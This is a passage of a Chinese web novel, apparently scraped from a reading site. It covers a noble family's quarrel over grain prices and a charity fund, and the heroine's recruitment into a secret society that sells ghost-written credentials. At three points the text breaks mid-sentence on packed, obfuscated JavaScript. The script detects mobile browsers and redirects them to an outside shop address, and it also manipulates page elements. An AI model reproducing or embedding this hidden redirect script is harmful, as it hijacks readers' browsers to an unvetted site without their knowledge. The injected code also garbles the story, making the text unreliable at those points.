侍从如实答道：“阿兰骑马出去了，兴许多遛一阵才回来。” 宋曦扬起一弯满意的嘴角：“随手挑的一匹马，他倒喜欢得紧。” 一旁的小芸调侃道：“可不是，我看小诗也喜欢得很，阿兰今儿就是带着她去的。” 宋曦嘴角的笑意淡了下去。她睁开眼，目光凝在小芸脸上，声音带着寒意：“你说什么？” 小芸吓得为之一颤，正欲解释，却被一道通报声打断：“小姐，谨公子到了。” “此事暂且记下。”宋曦收回视线，语气不容置辩，只朝小芸那边略一扬手，“你先下去。” “是......”小芸弱弱退至一旁。 “阿谨，你来啦。”宋曦笑着起身，侍从顺势垫了软枕在其身侧，让她靠起来舒服。 宋谨微笑道：“阿姊，你回来了，在应都玩得可开心？” “去了太多回，看都看腻了，玩也玩腻了。”宋曦一边说着，一边抬手，示意侍从给宋谨赐座，“倒是这回随太子殿下视察民情，颇有些意思。” 侍从端来一张椅榻放置宋谨身后，他撩袍而坐，问：“哦？怎么个视察民情法？” “殿下体恤民情，带我暗访了城东的菜市集。那般脏乱之地，难为他金贵之躯也愿踏足。”宋曦执扇半掩口鼻，仿佛仍能嗅到难闻的市井浊气，续道，“头回去这种地方，真叫我开了眼。米十五钱一斗，盐四十钱一斤，鸡二十钱，猪畜也不过五百钱……太子殿下说，这是官府常年调控之功，补贴年复一年，力度愈来愈大，都这般低价，竟还有人买不起，实在费解。” 宋谨略一沉吟：“兴许这‘贱价’对许多人而言，仍是太贵了。” 宋曦即声反驳：“哪里贵了？这么多年一直都是这价钱。阿谨，你怎能睁着眼睛乱说？如今天下太平，这个价，谁家还吃不起肉？” 宋谨不置可否，问道：“太子殿也如此作想？” 宋谨指尖在扇骨上轻轻一点，笑道：“是啊，他说，适当上调行情价，能纾解国库之压，又能激励生产。阿谨，你觉着呢？” 宋谨眼眸微暗，将目光投向远处摇曳的银杏，苦笑道：“殿下都已明示，我的浅见，当然无足轻重。” 宋曦身子完全侧向他，语气带着长姐的威严：“阿谨，看在你肚子里尚有几分墨水，我才跟你论及此事。你且说说看，我也好学上一学，他日若能在殿下面前从容应对，岂不是光耀门楣、为宋家铺路？” 宋谨略作思考：“我的拙见，阿姊真当愿听？” “嗯，就当闲谈罢。”宋曦目光缓缓扫过四周侍从，声调虽轻，字字清晰，“小诗不在，你们几个都仔细听一听。回去，我可是要一一问过的。” 宋谨的声音平稳而清晰，如同在剖析一张精细的舆图：“官府控价，初衷是为保万民不饥，此乃仁政。粮价数年不涨，百姓短期得以果腹，诚然是德。然长此以往，务农者利薄，甚或无利可图。种养之本逐年增高，产出必随之递减。” 他有条不紊说着，话音偶尔被风过银杏的簌簌声穿过。 “为填此缺，官府连年增补，许商会以粮农优待，强稳粮产。太子殿下主张提价，其理在于——若市价能稍近实值，农人得利，方有恒心与余力深耕广种。供给既丰，补贴之压可缓，国库或能稍纾，确是长远之谋。” 宋曦对里头名词一知半解，听得云里雾里，执扇轻点自己额角：“你们读书人的道理，总是一套一套的。说这么些，听得我脑仁儿疼。” 宋谨话锋一转：“不过阿姊，纵使供给得以维持，这些年的低粮价也只堪堪让百姓勉强果腹。若骤然提价，民生压力必将陡增。到时民怨若起，官府要平抚的，恐怕远不止国库之压了。” 宋曦嗤笑一声，慢条斯理地摇着扇子：“哪有这么严重？阿谨，你太大惊小怪了些。价已贱如泥土，再动能动得了几分？官府这些年倾力调控，仁至义尽。若还有人买不起，不如问问他们自己，活儿可曾踏实干了？薪俸可曾见涨？” 宋谨解释道：“像我们这样的人家，自然觉得粮价便宜得像白捡。可那些没钱买粮的人，或许是因为他们的钱大多流入我们的钱袋，且只进不出，他们手里自然就空了。” 宋曦听不乐意了：“阿谨，听你这话，倒像我们家抢了百姓的钱一般。宋家有今天，全凭父亲一步一脚印走出来，是用血汗拼出来的家业。更何况，这些年来‘保息’慈善会一直由我操持，每年施粥赠药、抚恤孤老，也要散出去数千两银子。” 宋谨本就负责府中账目监督，对各项大小支出了如指掌。 他指尖撑着脑袋，如实说道：“阿姊这么一提，我倒想起来了。父亲每年拨给‘保息’十万两，阿姊只打理半年便关停半年，库里银钱都积灰了吧，或是阿姊用到别处去了，终归是没有落到真正需要的人手里。” 宋曦神情坦然承认道：“那又如何？父亲都未曾说过什么。有些人若是总等着吃白食，时日一久便会生出惰性，若人人皆不思进取，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103047|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世道还如何运转？想吃饱饭、过好日子，终究得凭自己的本事。天上不会平白掉下馅饼来。” 宋谨平静反驳道：“可阿姊自出生至今，何尝不是一直在‘吃白食’呢？身居荫凉处，为何却对站在烈日下的人如此苛刻？” “你！好你个宋谨！”宋曦直起身子，举扇子指着他，神色一白，捂住腹部低低喘息起来。 周身侍从慌作一团，端茶的、抚背的、温声劝慰的，纷纷围着她转。 宋谨见状起身，后退一步，敛衣行礼：“阿姊息怒，我先行告退。” 宋曦瞪着他头也不回的背影，胸口起伏难平，忍无可忍将手中扇子重重掷在地上：“哼！等父亲回来，定要你好看！” 侍从拾起扇子，小心递回宋曦手边。宋曦瞧见那镶金的扇沿磕破了一角，胸中火气更盛，抬手便将扇子再次打落：“摔坏了还捡它作甚！叫人重做一把新的来！” “是。”侍从应声俯身，又一次将扇子拾起。 另外几人蹲在一旁，用指尖细心抠出砖缝里的金屑，拢在掌心。不过片刻，地上便已收拾得干干净净，仿佛什么都未曾发生。 木鸟静立枝头，将树下情形尽收眼底。眼窝里漆黑的两珠空空一转，随即振翅而起，掠过庭院高墙，消失在宋府之外。 过了一日，天光一如往昔。它飞跃晴空归来，羽翼收拢，悄然落定在府门高翘的檐角上。 门前停着一辆青篷马车，苍仁曲与几名伙计，将一箱箱八珍窖的账册陆续搬上车。 宋谨在院里用完早饭，散步踱至门前时，账册已装得七七八八。他环顾四周，向一位正在擦汗的伙计问道：“吴老板今日没来？上回见他行色匆匆，未及叙话。” 伙计躬身答道：“谨公子，真不赶巧。吴老板这几日忙着处理家事，实在脱不开身。” 宋谨似笑非笑调侃道：“家事？看来这‘家事’比户部清账更要紧些。八珍窖这个摊子丢给了宋家，吴老板倒真能安心放手了。” 伙计吓得脸色一白，声音都紧了：“谨公子见谅！吴老板绝对没有轻视宋家的心思！” 宋谨：“当真如此？” 他的语气波澜不惊，伙计却感到一股窒息的寒意，畏畏缩缩坦言道：“谨公子，小的不敢隐瞒……实在是吴老板的亲侄儿，前几日忽然没了踪影。那位是颐丰粮行的二把手，听说在生意上捅了篓子，连太子殿下都惊动了。老板急得火烧眉毛，正到处找人，要给上头一个交代啊！” 宋谨听罢，神色未见波澜：“原来如此。既是太子殿下过问，那确是要紧事。” 苍仁曲在一旁，将二人对谈听得清楚。以宋谨之明，想必猜到真正向倭寇倒卖军需的，其实是吴怀智本人。 她更在意的，实则是为吴怀智牵线这笔生意之人，以及那夜将他掳走的那群黑衣人……只是不知，谨公子是否也有意深究？ 待最后一箱账册稳稳搬上车，她回禀道：“公子，账册已悉数装车。” 宋谨望着满载的马车，说道：“回去转告吴老板，望他——多多保重。” “是。”一众伙计齐齐应声。 29. 神秘阁楼 陪谨公子去西市那天，苍仁特意抿上了曦小姐送的口脂。 曦小姐回府那日，谨公子前去相迎，不知怎的两人吵了一架。曦小姐当晚便到父亲跟前告了一状，老爷连夜唤了谨公子，训斥良久。 苍仁曲当时候在门外。宋曦提前出来，将她带到一旁，问了些与小诗相处的日常，又说了些拉拢的话，随手将正用着的口脂赠给了她。 苍仁曲没有立即表态，毕竟谨公子只是不如曦小姐挥霍，做他侍从待遇并不差，她并无回去的打算，但曦小姐的面子也不好当面驳回，她打了几句太极，一直拖到谨公子出来带她离开。 府中四处都有曦小姐的耳目。想起小诗的叮嘱，她决定至少先用上几天，哪怕做做样子，也先摆出个态度。 她肤色暖白，而宋曦送的这支口脂极艳，与她素日用的全然不同，上唇后红得灼目，像刚吃了烈椒肿的鲜明。 宋谨一眼注意到了，走在路上随口一问：“头一回见你涂这个颜色，何时买的新口脂？” 苍仁曲嘻嘻一笑，随口编了个理由：“托人捎的，可贵了，还是绝版的稀罕物，不仔细用着，多浪费呀。” 宋谨又问了一句：“这般难得，怎不选个素日用的颜色？” 苍仁曲回避他的视线，摆摆手道：“公子就莫要深究了。这点银钱能得来已属不易，哪还顾得上合不合宜呢。” “这样啊。”宋谨不再多问，迈开步子走在她的面前。 二人到了西市，马车停到戏院门前，老板已经等候多时。 宋谨照旧包了场。戏院里外静悄悄的，西市喧嚣仿佛远在天边，只余隐隐约约的市声，在此独成一方闹中取静的天地。 这戏院格局与寻常的不同，甚至说有些简陋，仿佛老板在自家宅院里随意搭了座戏台。台下只疏疏摆着三两座椅，皆是家常式样。苍仁曲和宋谨反倒两位误闯私宅的不速之客。 老板引他们进了特备的厢房，室内沉香四溢，一名侍从垂首跪坐案边，静默如偶。 宋谨落座，问道：“老板，今日上了什么戏？” 老板热情回应道：“知道公子素爱文武八星的故事，我特意请班子编排了一出新戏。今日演的《二贤救马》，说的正是‘折剑将军’于初与‘战马仙子’齐楠的一段旧事。” 听见“文武八星”四字，苍仁心头一顿。这个称谓，已许久未听人提起了。 她的母亲，苍绥晏，亦是八星之一，号称“边州狼王”。 少时在军营寥寥数日的记忆里，母亲是一位极受将士敬重的将军。兵将们早闻“苍绥晏”威名，那袭玄色单肩披风，在战场上猎猎飞扬的飒爽英姿，是他们年少时期心之向往的模样。她在战场上的故事，经常成为营中闲谈的常客。 “还是你最知我心。唯有你这儿，我才能听到那么多关于文武八星的故事。”宋谨淡然笑道。 “公子言重了。文武八星在外声名赫赫，若换作别处，只怕要被人说是胡编乱造，非砸了我这招牌不可。难得有您这位知音，但凡我知道的故事，定当一出出都为您安排上。” 宋谨：“承蒙老板关照了。” 戏台乐声悠悠响起，幕后传来清亮的开腔。 “我还有些琐事，公子且慢慢赏戏。若有吩咐，交代延子便是。”班主说着，轻摸了下那名侍从的发顶。侍从依然纹丝不动，连眼睫都未颤一下。 老板走后，苍仁曲凑近一看，仔细端详延子，原来延子只是一个披着人衣的偃人，生着头发，肤质上了色，若不细辨，几与真人无异。 她好奇地伸出手，指尖触到对方面颊的一瞬间，延子头没动一下，两颗眼珠子忽然一转，直勾勾瞪着她，惊得她肩头一缩，不及收手，被宋谨轻轻握住手腕。 他在身旁提醒道：“别碰坏了。这偃人是研枢院特制的，尚未对外发行，全身上下金贵得很。” “是。”苍仁乖顺应声，抬眼望向宋谨，手腕稍动，他自然松开了她，她压低声音说道，“公子，看来这位老板来头不小。宋府尚未引进偃人，他倒已拿来当寻常仆役使唤了。” 宋谨目光落到戏台，戏台传来一阵清越婉转的女声。他说道：“西市寸土寸金，能在闹市之中安住一方小院，不图盈利，本就不是寻常人能为之。” 楼下正对着戏台，一名身着浅绿罗裙的小伶人粉墨登场，娓娓唱道：“马儿哎，马儿哟，边州最乖的好马儿呀，今日么事唤千声，不见踪来不见影？马儿呀，你究竟藏去了哪一边？我心似油煎火燎，寻得人好生难捱。” 接着，同样一身浅绿的男伶，自台侧缓步登场，清声唱道：“忽听阿楠唤马声声响，可是那匹边州马踏云失了方向？你且莫慌，细细讲，为兄帮你寻它回身旁。” 戏乐正酣，苍仁曲看得入迷，宋谨忽然轻声问：“怎么？对戏文上心了？不惦记着去逛了？” 她一拍脑袋，险些忘了还要去见洛予词，连忙起身，笑盈盈道：“走之前，这不是想多陪一会儿公子吗？” 宋谨眼神恍惚，低咳一声：“你想陪我多久都可以，我并没有要赶你走的意思。” 苍仁曲这下心下为难，原本只想客套一句，他怎还当真了？ 正不知如何接话之时，宋谨出言开解道：“去吧，早去早回，玩得尽兴。” “谢谢公子！”苍仁曲开心离开了。 厢房内，只剩宋谨一人。 他扶额撑桌，面色隐约发烫，目光扫过苍仁曲方才坐过的位置。戏音缭绕，他却只听见她的那句话，像一缕吐息吹进耳里，缠着散不尽的热。 ——她说她想陪他一会儿。 “呼……”他强迫自己闭上眼，不愿再想。 ……虚情假意。 苍仁曲刚跨出戏院大门，便见洛予词正大光明站在阶前候着她。 “嚯？可算出来了，等你好一会儿了。”她乐道。 “……你们广厦楼行事，向来这么明目张胆吗？”苍仁曲低声嘀咕道。 洛予词眨了眨眼，面露无辜楚楚可怜：“我可是老实巴交的平头老百姓，才不是不法之徒。” 苍仁曲无奈，懒得与她多辩：“我有一堆事要问你。” “不急，咱们边走边聊，慢慢说。” 苍仁曲跟上她：“你要带我去哪？” 洛予词回头一笑：“先提前给你指条谋生路子，总不叫你白来广厦楼一趟。” 苍仁曲追问道：“你为何对谨公子行踪如此清楚？宋府难道还有广厦楼的耳目？” “一口气问两个呀。”洛予词指尖绕着垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103048|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在肩前的发带，悠悠道，“第一桩，那家院子的主人也是广厦楼的人，他知道我在留意宋府的动静。宋家公子一订座，消息便递到我这儿了。” 苍仁曲蓦然想起仍在里面听戏的宋谨，但听洛予词继续说道：“第二桩事嘛……说实话，我也不知道宋府里头还有没有我们的人。” “不知道？” 洛予词坦然笑道：“是呀。你在宋府的一举一动，其实是我花钱买来的消息。” 苍仁曲默然片刻，才道“......倒难为你破费了。” 洛予词尾音轻轻一扬：“客气什么。我是对你真的感兴趣。一年便能在萧武署出师，却从未在武举崭露头角，以你的天资和身手，拿个好名次绝非难事。” 苍仁曲再度沉默。 纵使她再夺一次文武状元，也绝不顶着“姜安曲”之名，让她沾上半分荣光。毕竟姜安曲一家，是构陷他父亲的直接祸首。 苍仁曲是苍仁曲，姜安曲是姜安曲。她只是不得已披上一层躯壳，没有义务，更无意愿，去成全旁人荣名。 “罢了罢了，你若有难言之隐，以后再说。”洛予词停住脚步，朝前一指，“我们到了。” 苍仁望着眼前这栋熟悉的阁楼，是那夜追踪盲卫时，途径的一座无匾无牌、寻常得不起眼的楼。 她下意识仰首望向某处。白日昭昭，彩绳系着铃铛自檐角垂落，几人倚在栏杆旁闲谈，仿佛那夜那道蛰伏黑暗里的身影，也在此处悄然重合。 一只鸟儿掠檐飞过，她的脸颊忽似泛起被一只巨鸟翅刃刮伤的灼痛。 她问洛予词：“这里是什么地方？” “赚钱的地方，走吧，进去瞧瞧。” 苍仁曲跟随她踏入阁内，沉香气息扑鼻而来。 阁楼里人来人往，皆步履轻悄，低语行事。中庭植着一株蜿蜒苍劲的青松，枝头鸟鸣清越。树是真树，鸟非真鸟，与谨公子院里的机关木鸟有几分相似。 苍仁曲细看那松，感到一股寒意从树身四散而开：“这松应是寒带树种吧？交州地处温带，本不宜生长，它竟能这般茂盛。” “这是一位植物学使改良过的树种，周遭环境都按它原本的习性调适过。”洛予词温声提醒道，“别靠太近，那里寒气重。” 苍仁曲忽然想起一事：“墨泉阁后院的那株异于常时的梅树，莫非也是那位植物学使所植？” 洛予词含笑点点头：“聪明，观察挺细致。” 苍仁曲若有所思道：“看来广厦楼还真是卧虎藏龙，连这样的人才都能挖过来，看来待遇确实不差。” 洛予词“噗嗤”笑出声来：“谬赞谬赞，多谢姑娘对我的抬爱” “？”苍仁曲眉头一下拧成了“八”字。 “嗯？你什么反应？”洛予词凑近她小声道，“难道我看上去不像做学问的人？其实刺客不过是兼差，那间墨泉阁，平日只用作书房而已。” “所以你指的谋生路子，是指这个？” 彼时的苍仁还天真地以为，往后至少能从事光鲜体面、亦是她曾暗暗向往的研究行当，然而洛予词接下来的话，让她大开眼界。 “嗯，做研究。旁人买我的成果去挂名，按金价算，一个名头百两到千两不等。” “？！” 30. 虎穴 洛予词对苍仁曲的震惊并不意外：“知道你可能一时难以接受，但这是圈子里的常态，跟我这边来。” 她一边说着，一边引苍仁曲步上楼梯。 途中，苍仁曲望了一眼中庭里的常青松，神色复杂：“这些成果是你呕心沥血所得，这样拱手让人，不会感到惋惜吗？” 二楼是一方轩敞的明堂。形制各异的书格看似散落随意，实则彼此衔连，垒成叠卷山墙，又自然隔出数间雅室。素屏虚掩，内中有人或掩卷凝神，或奋笔疾书，或对坐轻语。各得清静，互不相扰。 “起初我也无法接受，觉得心血写上别人的名字，终究意难平。”洛予词领她走进一间雅室，示意她坐下，“奈何可他们给得实在太多，我一介俗人，只懂得见钱眼开，日子越过越舒坦，慢慢也就习惯了。” 苍仁曲沉默片刻，低声道：“文试替名是重罪，一旦事发，终身禁考。” 洛予词轻摇指尖：“非也，非也。其一，寻常人根本寻不着这门路。其二，此举绝非一日之寒。这座楼已经坐落于秀止最繁华的闹市处，从未出过岔子。你不妨细想，这生意面向的该是何等人物？” 苍仁曲略作沉吟，将心中所思直言道出：“该不会，是那本该捉拿你们的人？” 洛予词淡淡一笑，阐述道：“万邦文试，考校的乃是万民在各行各业中的真实本领，哪怕躬耕一亩田、经营一方铺，但凡能拿出实在的成果，皆可入评。成果所涉领域愈广，价值愈高，文试评分愈高，能享的官家优待更加丰厚。历年题榜名录里之人，哪一个不是身跨数行、根基深厚的翘楚？” 苍仁曲：“这些我都知晓，说重点。” 洛予词接着说道：“世间英才如草木，年年生发，各行各业亦如流水，时时更迭。世间没有哪一家大族能永占气运，代代出惊世之才，除非权势加持，再不济，也能将旁亲后代包装成横跨数行的‘天纵之才’，掩盖其平庸之能。这座楼，做的便是这‘移花接木’的活计。” 苍仁曲指尖扣着桌面，听完她的话，难掩郁色：“真金岂惧火炼？若真为英才，不走文试武举，凭本事也当有出头之日。既有独当一面的能耐，何必甘心为人作衬，埋没自己的名姓？” 二人对坐的雅间正对一扇轩窗。窗外微风如丝，漫过屏帘，苍仁曲的剪影轻微动摇着。 洛予词微叹了口气：“姜姑娘，你岂不闻‘千里马常有，伯乐不常有’这一道理？广厦楼多是在文试武举有名次，出身微寒的失志之士。如今这世道，万事皆看出身、论背景。若无门第依傍，纵有真才实学，待遇需按资排辈，成果易遭人轻贱，何况想出人头地，更绕不开‘关系’二字。” 这番话让苍仁曲蓦然忆起中秋之前，她与宋谨在研枢院门前目睹的那名被驱赶的女子。那些零碎的争执声，竟与此刻洛予词话语里所揭露的世情，冷冷重叠。 她的声音带着一丝波动：“那这里，给了你什么身份背景？” 洛予词唇角扬起一抹傲然的弧度：“‘广厦楼’三字，便是最硬气的身份。同样的心血，能换来真金白银，能受人敬重，能福泽众生，不必看贵人脸色，无需向门第折腰。今年题榜上名的百家姓氏里，近半都靠着广厦楼替名上去的。” 苍仁曲表示震惊：“你的意思是，天下近半的‘翘楚’，竟都系于广厦楼？若此楼倾覆，半壁江山怕是要跟着震荡罢。” 洛予词了然一笑：“所以姜姑娘，这条路，你走不走？” 风大了，掀起帘布，苍仁曲的剪影在上面剧烈摇动。 她的手指在桌面蜷起，骨节泛白。 ——原来如此。 广厦楼……原来这就是她的倚仗。 难怪她敢行刺太子，连东宫都不放在眼里，可想而知其势力早已盘根错节，只手遮天。 若得此力，她的家仇，清白，萧家桎梏，或许都可以……一股战栗般的兴奋自脊背窜上。她的声音竭力压得平稳：“若我应下，可需经受什么考核？莫非全无门槛？” “好极了！”洛予词跃然，笑道，“考核自然有，不过以你之能，料也不难，随我来。” 她引着苍仁曲步上三楼，打开一间静室。 里头陈设简单，一名女子端坐其中，装束让苍仁曲十分眼熟，尤其覆在眼上的那条黑色布带，尤为醒目。 ——是盲卫！ 洛予词将右手平伸至对方面前。盲卫只手托住，指尖在她掌心处描摹片刻，她认了出来：“洛先生。” 洛予词侧头，看向苍仁曲：“你的右手，递与她一验。” 苍仁曲依言，将右手伸至她面前。盲卫托住手掌，两枚拇指摸索她掌心的纹路，仔细确认之后，朝洛予词的方向微微转头，问：“这位是新来的人？” 洛予词：“没错，既已验明，为她安排入门试炼吧。” 盲卫颔首，起身让出自己的座位：“姑娘，请坐。” 苍仁曲落座，脑袋一片茫然：“不知是何测验？” 洛予词解释道：“只需重答一遍今年武举试题，结果可看出你所擅长的路数，日后安排好有所依据。” 二人对谈期间，盲卫缓步移至书架前，取下一本又一本，放在苍仁曲面前的桌案上。 苍仁曲对这些书籍颇有印象，皆是她备考文试时反复研读的典籍。 洛予词的声音适时响起：“武举末科，考的是根基学识，与文试不同，允许翻书寻据。这些书中皆有涉及，你曾为研读生，此试于你应当不难。” 仔细想来，她这“武举魁首”之名，来得不算名正言顺。 去年殿前，她不曾报名，未循规蹈矩历经层层试炼。全凭一时意气获得君王破例特许，当场击败了当时的武举状元萧择天。 “咔哒”一声，盲卫打开柜锁，取出厚厚一沓试卷，在苍仁曲面前铺开，那卷子若完全展开，怕是能垂到地上。 一切备妥，盲卫提醒道：“洛先生，依例举荐人需回避。请您移步门外。” “明白。”洛予词行至门边，对苍仁曲说了一声，“一个时辰后回见。” 苍仁曲应了一声，洛予词合门离开。她打开卷子，大概浏览了一遍。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103049|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 武举之道，所求非止筋骨之力，更在智勇兼备，若徒有悍勇而无韬略，与凭本能厮斗的兽类无异。人之为贵，在能以文驭武，化暴戾为秩序，转刚猛为谋略。 武举之试也考根基学识，却较文试更加简明，简明到甚至一年未曾温书的苍仁曲，读来亦无滞涩。 她庆幸于卷上没有天书文字，扫了一眼题面，脑袋自然推演出应答之径，笔随念动，题目方阅毕，答案已落纸。 偶遇生疏处，她信手取书，如识途老马般直抵对应章页，略一重温，灵思即通，再提笔续写，如行云流水。 悦事常觉光阴短。待最后一字落定，她感觉心神畅快，如饮甘泉。她仔细检视一遍卷面，故意改错几处答案，从容整理好卷册，递向身旁静候许久的盲卫。 盲卫未接过，轻声提醒道：“姑娘，时辰尚有盈余，可以再检视一二。” 苍仁曲谦卑一笑：“不必了，会的已尽数写下，不会的纵使给我百个头脑，也是徒然。何必苦费时辰？” “好。”盲卫接了卷子，侧身将门轻轻推开一线，“姑娘可以自便了。” 苍仁曲与她一同出来，廊下竟然还有一名盲卫候着，而洛予词却不见人影。 方才持卷的盲卫径自朝另一侧离去。她想问洛予词的行踪，候在门边的盲卫先开了口：“姑娘，洛先生临时有事，她托我带话，请您至二楼茶室稍候。” 苍仁曲：“有劳告知。” 话已带到，那盲卫便转身往另一侧走廊行去。 苍仁曲佯作下楼，待走远数步，悄然折身，远远跟上了那位替洛予词传话的盲卫。 她明白，他在此绝非偶然现身，唯一的可能，便是他奉命前来寻洛予词处置急事，被洛予词暂且留在原处。 能驱遣盲卫传唤洛予词的人，才是苍仁曲真正兴趣所在。 一个名号如暗夜灯火，悄然浮上心头。那夜绮罗舫，盲卫现身人群之时，吴怀智颤声吐露了一个名号—— 曲、直、公、子。 她始终和盲卫保持一定距离。前方的盲卫毫无察觉，在一扇房门前稍作停顿，推门而入。 苍仁曲悄步靠近，在门外驻足，左右环视一番，廊道空寂无人。她侧身将耳贴近门扉，门内隐约传来低沉且规律机括细响。 “咔，咔，咔，咔……” 短暂的声响后，机关似乎已归于沉寂，门内脚步声亦消失无踪。 苍仁曲断定里头藏有机关密道，当即推门而入，闯进一个昏暗杂乱的工作间。桌案地面堆满细碎零件，四壁图纸凌乱悬挂。 身后门扉轻轻合拢，那熟悉的机括转动声，再度从某处幽暗角落响了起来。 “咔，咔，咔，咔……” 她循声望去，瞳孔骤然一缩。 一张半垂的图纸后，方才那盲卫静立如塑，面朝她的方向，手中正托着一只木鸟。 “咔，咔，咔，咔……” 那喑哑顿挫的声响，原来并非来自什么机关密道，单纯只是一只木鸟喉中的机簧之音！ 是陷阱！ 31. 曲直公子 “咔，咔......咔哒！” 盲卫按停鸟颈处的机关，木鸟声响戛然而止。 二人无言相立，室内陷入一片沉寂。 苍仁曲不敢轻举妄动。广厦楼已将她目前的底细查得一清二楚，从洛予词透露的零星言语中可知，此处绝非她能得罪的。要想留下，眼前这盲卫便是第一道坎。 对方腰间银刃冷光暗敛，难保不藏其他杀器。她赤手空拳，若强行动武，却无速胜之算，万一闹出了大动静，只怕更难收场。 沉默在昏暗中延展。她试探着开口：“你…听我解释吗？” 盲卫无言。 见他仍抱有敌意，苍仁曲脊背一挺，语气陡然转硬：“我要见曲直公子！” 听到“曲直公子”四字，盲卫才微微一动，仅仅吐出两个字：“理由？” 苍仁曲清了清嗓子，解释道：“绮罗舫船炸那夜，我都看到了。吴怀智现在在你们手里，对吧？我知道他是颐丰粮行的二把手，勾结广厦楼将军需倒卖给了岛州倭寇。吴老板现下四处寻他，这些你们也知道，对吧？” 盲卫起了警惕，一只手慢慢扣住腰间的银刃。 苍仁曲逼近半步，吓唬他：“吴老板不过是抛出去的饵。他们真正要钓的，是与吴怀智交易军需之人。这些话，是我亲耳在秀止府听来的。” “他们？”盲卫起了疑。 苍仁曲刻意卖起关子：“余下的事，我面见曲直公子后自当细说。” 盲卫沉吟片刻，问道：“如何信你？” 苍仁曲坦然承认道：“我的底细，洛予词早已调查清楚，她这些时日也一直盯着我。你若存疑，大可向她求证。” 盲卫思索着，指节从刀柄上缓缓移开：“……你若配合，可以一见。” 总算说动了他，苍仁曲心下舒了口气，说道：“好说……该怎么配合？” 盲卫解下护腕一段墨青布条，递到她面前：“蒙眼。” 苍仁曲照着他的要求蒙上布条，忽然有股不容抗拒的力道按着她的眼珠子，强迫她闭上了眼。盲卫隔着布条掐在她眼皮上，确认无误后，用绳索将她双手反剪缚住。 苍仁曲：“往后都是自己人，还需这般防备么？” “自己人？”盲卫加大力度，绳索勒紧三分，“你所谓的‘自己人’，惯会暗中尾随窥探这一套？” 苍仁曲没有正面回应，调侃道：“总算听你说了句有人味的话。” 盲卫：“……” 半个时辰前。 地面在无声中移开，木阶向下延伸，连通着一座与地上阁楼完全对称的地下三层建筑。 负一层的内阁里，吴怀智独坐中央，身后站着两名盲卫。四周素屏围成一方囚笼，烛火将屏风后的人影扭曲放大，投在绢面上晃成鬼魅。 其中一面屏风后，吴任正看见侄子模糊的侧影。他猛然起身，却被身旁两名盲卫牢牢按回座位。 “这究竟是何处？！”他声音嘶哑，压抑的怒火在喉间翻滚，“你们究竟是什么人？！” 吴怀智闻声猛地转向那道屏风，声音迸着急切：“叔父！是您吗？您来救我了？！” 吴任左前方的围屏后边传来一道声音：“吴老板，稍安勿躁，此刻在座皆是自己人，不会动你分毫。” 吴任朝那声音来处啐道：“谁与你们这藏污纳垢之地是自己人！广厦楼就是一群祸乱世道的豺狼！” 正前方的围屏后传来一声低笑，话音里带着玩味：“吴老板这话，说得未免武断了些。谁规定坐在这屏风之后的，一定是广厦楼之人？” 吴任双手紧握椅臂，指节发白：“你们究竟是何人？绑我侄儿，所欲何为？！” “自然是因为令侄私通倭寇、倒卖军需之事。”一道冰冷的声音自他头顶落下。 原来内阁顶部尚有夹层。四面垂帘自栏杆垂下，帘后隐约坐着数道人影，灯火将他们的轮廓映于素帘，如悬空的幽魂。 吴怀智闻言猛地抬头，朝声音来处急辩道：“货不是我漏的！那批军需全程由广厦楼押运，定是他们内部出了纰漏！” 吴怀智身后的屏风内传来低沉的质问：“广厦楼经手的军需皆来自都督府。我与之合作年余，从未有过疏漏。颐丰粮行的商路亦是我引荐，偏偏军需在你手中出事，难道广厦楼自断财路不成？” 吴任耳畔轰鸣，瞳孔骤缩，不敢相信自己听见了什么，呵斥道：“你……你居然背着我，勾结广厦楼？！” 吴怀智本想找叔父求助，听完他呵斥的话，顿时心虚到不敢吭声。 正前方的围屏后传来一声轻笑：“妙极！原来吴老板竟一直被自家侄儿蒙在鼓里。我还当你是早已知情，故作姿态呢。难怪那日在秀止府见你急得团团转。” 都督府、秀止府、广厦楼……三方名号如重石接连压下，吴任气息骤窒，仿若指缝间蝼蚁，一碾即碎。 他权衡一番，深吸一口气，语气陡然转缓：“方才……是吴某失言。既然同处一舟，不知诸位大人对此事可有转圜之策？” 左前方屏风后传来一声轻嗤：“没有颐丰粮行，军需照样能走别的路子出手。我本不愿来此，是曲直公子另有考量，才将诸位聚到此处商议。” 吴任问：“曲直公子是哪位？” 话音未落，一声清越鸟鸣自上方垂帘后传来。 帘外，洛予词托腮而坐，唇角噙着玩味的笑，静听下方动静。 垂帘之内，一只钢羽猎隼静立于男子肘上。曲直公子抚过它锋利的隼羽，缓缓开口道：“吴老板，您才是这座阁间的主角。此次邀您前来，自然是有条件相商。” 